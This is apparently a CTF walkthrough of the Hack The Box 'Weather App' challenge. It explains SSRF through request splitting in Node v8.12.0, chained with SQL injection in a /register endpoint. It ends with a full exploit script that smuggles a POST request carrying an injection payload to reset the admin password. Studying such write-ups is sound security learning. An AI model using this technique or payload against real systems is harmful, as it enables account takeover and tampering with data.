- Published on
HTB Weather App
An Overview
tl:dr;
- The app is vulnerable ( actually the node js version ) to SSRF via response splitting.
- The request to /api/weather has “endpoint” as param which will help us carry our payload to the server.
- The /register endpoint which creates an account is vulnerable to sql injection
- Hence the chain is :
- endpoint param in /api/weather carries the vulnerable payload.
- this vulnerable payload is composed of post request to /register and exploits sql injection in /register api endpoint.
- After following the above steps to exploit the vulnerability we are able to login as admin and acquire our FLAG.
The overview
-
When the app runs for the first time you are welcomed with a view which shows the weather stats of your location
-
When you intercept the request made by the page, we see that a request is made to an endpoint which takes payload
http://localhost:1337/api/weather
{"endpoint":"api.openweathermap.org","city":"Woodbridge","country":"CA"}
- Well, seeing something like endpoint or url should make us SSRF sense heightened
-
Hence, I started checking whether the “endpoint variable” makes call to any url that I give.
-
So, as expected the endpoint variable doesn’t discriminate about the value it receives.
- Now, I tried making calls to internal services which I believe did work
- But the response that we get from /api/weather request is checked by the server before sending to the client.
- Hence, whatever we do we CANNOT OBTAIN any sort of internal data from the server.
-
What now ? I was stuck here 😒 I later realised that this challenge has source code available for us to review !!!!
-
Upon, reviewing the source code few things were evident
-
There are other pages ( and associated request with them ) like /register and /login
-
The sql query used in /register api request is vulnerable to sql injection
async register(user, pass) { // TODO: add parameterization and roll public return new Promise(async (resolve, reject) => { try { let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`; resolve((await this.db.run(query))); } catch(e) { reject(e); } }); }
-
The /login request fetches us the flag for this challenge and takes “username” as “admin” but “password” is a very long random string
-
/register api request is not available to the outer world but is only available for localhost ip address
router.post('/register', (req, res) => { if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { return res.status(401).end(); } ... }
-
-
After, reviewing the code and understanding what was required to solve this challenge following was the exploitation chain that I had in my mind
- Exploit SSRF in /api/weather to make request to /register
- the /register takes username and password as param, so inject sql injection payload in the params and change admin password
-
Sad news, the /api/weather does take endpoint url but when the server executes it it only makes a get request to endpoint url. Hence we can’t make a post request to 127.0.0.1/register
- I tried setting up a local server which responds with status code 308 and redirect url as /register
- With this status code 308 the request gets redirected to given path and with the parameters that were initial request. But that didn’t solve the issue. Although the thinking was awesome.
- I also tried making request to /register by manipulating headers like X-Forwarded-For etc etc so that I can bypass the WAF ( I don’t know what I was thinking ) but that didn’t work.
- I tried setting up a local server which responds with status code 308 and redirect url as /register
-
Now what to do. Well, I realised that I haven’t viewed the source code completely. I haven’t read the version of Node that is being used !!!!
- This was the breakthrough.
{ "name": "weather-app", "version": "1.0.0", "description": "", "main": "index.js", "nodeVersion": "v8.12.0", "scripts": { "start": "node index.js" }, "keywords": [], "authors": [ "makelaris", "makelarisjr" ], "dependencies": { "body-parser": "^1.19.0", "express": "^4.17.1", "sqlite-async": "^1.1.1" } }
-
Upon searching for vulnerabilities related to the node version it was found that this node version is vulnerable to SSRF via response splitting !!! And we know where to insert this vulnerable url.
-
The exploit chain is revised
- in /api/weather param endpoint will carry our payload
- the payload will contain sql injection payload
-
The source code had docker file with it
- I build the docker file and the app is running locally
- Now, I can test the correct payload which is very tedious task
- Why its tedious ?
- First we will have to make a post request to /register
- Was successful here
- Get my payload through the /register request
- Highly unsuccessful. It was because of Content-Length and encoding issues
- First we will have to make a post request to /register
- The exploit code below resets the admin password to “test”
import fetch from 'node-fetch';
async function makeRequest() {
const baseUrl = "127.0.0.1/";
const s = "\u0120"; // s is space
const r = "\u010D"; // \r
const n = "\u010A"; // \n
const sic = "%27"; //singleInvertedConverted
const dic = "%22"; //double inverted comma
let username = 'admin';
let deleteAdmin = "DROP" + s + "users" + s + "IF" + s + "EXISTS" + s + "admin;";
let password = "test')" + s + "ON" + s + "CONFLICT" + s + "(username)" + s + "DO" + s + "UPDATE" + s + "SET" + s + "password" + s + "=" + "%27test%27;"
username = username.replace(" ", s).replace("'", sic).replace('"', dic);
password = password.replace(" ", s).replace("'", sic).replace('"', dic);
const contentLength = username.length + password.length + 19;
const rn = r + n;
const httpTag = "HTTP/1.1";
const hostHeader = "Host:" + s + "127.0.0.1";
const postReqTag = "POST" + s + "/register";
const contentTypeHeader = "Content-Type:" + s + "application/x-www-form-urlencoded"
const contentLengthHeader = "Content-Length:" + s + contentLength.toString();
const connectionCloseHeader = "Connection:" + s + "close"
const payloadUrl = baseUrl + s + httpTag + rn + hostHeader + rn + rn + postReqTag + s + httpTag + rn + hostHeader + rn + contentTypeHeader + rn + contentLengthHeader + rn + rn + "username=" + username + "&password=" + password + rn + rn + "GET" + s;
const postRequestPayload = JSON.stringify({ endpoint: payloadUrl, city: "Toronto", country: "CA" });
const result = await fetch('http://64.227.39.89:30951/api/weather', {
method: 'POST',
headers: {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://139.59.175.51:31648/',
'Content-Type': 'application/json',
'Origin': 'http://139.59.175.51:31648',
'Content-Length': '67',
'Connection': 'close'
},
body: postRequestPayload
});
console.log(result);
const body = await result.text();
console.log(body);
}
makeRequest();
- As the above code worked locally I was able to make changes in htb challenge and was able to get the desired flag 😊
References :
- https://hackerone.com/reports/409943
- https://infosecwriteups.com/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501
- https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
- Payload creation help ( like 40 % only , I had to do all the sql query thing )
- For sql injection related :